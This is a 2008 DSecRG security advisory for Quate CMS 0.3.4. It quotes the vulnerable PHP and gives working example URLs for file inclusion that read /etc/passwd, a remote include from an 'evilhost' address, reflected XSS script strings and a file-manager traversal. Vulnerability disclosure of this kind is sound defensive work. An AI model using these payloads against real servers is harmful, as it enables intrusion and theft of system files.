Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-024


Application:                    Quate CMS
Versions Affected:              0.3.4
Vendor URL:                     http://www.quate.net/
Bugs:                           RFI, Multiple LFI, Directory traversal, Multiple XSS
Exploits:                       YES
Reported:                       18.03.2008
Second report:                  25.03.2008
Vendor response:                NONE
Solution:                       NONE    
Date of Public Advisory:        23.05.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Quate CMS system has multiple security vulnerabilities:

1. Multiple Remote/Local File Include
2. Multiple Linked XSS vulnerabilities 
3. Directory traversal 


Details
*******

1. Quate CMS has Multiple Local File Include vulnerabilities.

1.1 Local File Include vulnerability found in script admin/includes/footer.php

Code
****
#################################################

if ($not_logged_in != 1) {
 if (file_exists("includes/themes/" .$row_secure['account_theme']. "/footer.php")) {
  require_once("themes/" .$row_secure['account_theme']. "/footer.php");
 } else {
  require_once("themes/" .$admin_template_default. "/footer.php");
 }
} else {
 require_once("themes/" .$admin_template_default. "/footer.php");
}

#################################################

Example:

http://[server]/[installdir]/admin/includes/footer.php?admin_template_default=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/admin/includes/footer.php?row_secure[account_theme]=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/admin/includes/footer.php?not_logged_in=1&admin_template_default=../../../../../../../../../../../../../etc/passwd%00


1.2 Remote and Local File Include vulnerability found in script admin/includes/header.php

Code
****
#################################################

if ($bypass_installed != 1) {
        if (!is_file("../includes/installed")) {
                ...
                require("../includes/simple_gui.php");
                exit();
        }
}

if ($bypass_restrict != 1) {
 require_once($secure_page_path. "includes/secure.php");
}

$admin_template_default = "default";
if ($not_logged_in != 1) {
 //echo $row_secure['account_theme'];
 if (file_exists("includes/themes/" .$row_secure['account_theme']. "/header.php")) {
  require_once("themes/" .$row_secure['account_theme']. "/header.php");
 } else {
  require_once("themes/" .$admin_template_default. "/header.php");
 }
} else {
 require_once("themes/" .$admin_template_default. "/header.php");
}

#################################################

Example:

http://[server]/[installdir]/admin/includes/header.php?bypass_installed=1&secure_page_path=http://evilhost/info.php%00
http://[server]/[installdir]/admin/includes/header.php?bypass_installed=1&bypass_restrict=1&row_secure[account_theme]=../../../../../../../../../../../../../etc/passwd%00


---------------------------------------------------------------------


2. Linked XSS in Path vulnerability found in following pages:

/admin/index.php
/admin/login.php
/admin/credits.php
/upgrade/index.php

Example:

http://[server]/[installdir]/admin/login.php/"><script>alert("DSecRG XSS")</script>
http://[server]/[installdir]/upgrade/index.php/"><IMG SRC="javascript:alert('DSecRG XSS')

---------------------------------------------------------------------


3. File Manager directory traversal

Administrator can access system files outside htdocs directory using directory traversal vulnerability.

http://[server]/[installdir]/admin/filemanager.php?type=edit&dir=/../../../../../../../../..&file=boot.ini



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)